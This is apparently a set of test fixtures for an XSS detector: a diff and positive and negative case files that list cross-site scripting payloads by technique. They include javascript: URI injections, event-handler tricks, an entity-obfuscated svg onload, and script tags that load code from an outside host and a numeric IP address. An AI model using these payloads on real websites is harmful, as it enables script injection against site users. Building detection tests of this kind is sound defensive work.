anchor.diff:  <iframe src=javascript:alert(1)> @XSS Without Event Handlers
   <embed src=javascript:alert(1)> @XSS Without Event Handlers
   <a href=javascript:alert(1)>@XSS Without Event Handlers
  -<math><brute href=javascript:alert(1)>@XSS Without Event Handlers
  +<math><test href=javascript:alert(1)>@XSS Without Event Handlers
   <form action=javascript:alert(1)><input type=submit> @XSS Without Event Handlers
   <isindex action=javascript:alert(1) type=submit value=click> @XSS Without Event Handlers
   <form><button formaction=javascript:alert(1)>@XSS Without Event Handlers
  
positive.code: <x contenteditable onpaste=alert(1)>@XSS Agnostic Event Handlers
  <script>alert(1)// @XSS Code ReuseInline Script
  <script>alert(1)<!–@XSS Code ReuseInline Script
  <script src=//brutelogic.com.br/1.js>@XSS Code Reuse Regular Script
  <script src=//3334957647/1>@XSS Code Reuse Regular Script
  <x onxxx=alert(1) 1='@XSS Generic Source Breaking
  <script>alert(1)</script> @XSS Without Event Handlers
  
negative.code: <object data=javascript:alert(1)> @XSS Without Event Handlers
  <iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>@XSS Without Event Handlers
  <svg><script xlink:href=data:,alert(1) /> @XSS Without Event Handlers
  <math><test xlink:href=javascript:alert(1)>@XSS Without Event Handlers
  <svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>@XSS Without Event Handlers
  <html ontouchstart=alert(1)> @XSS Mobile Only
  <html ontouchend=alert(1)>@XSS Mobile Only
  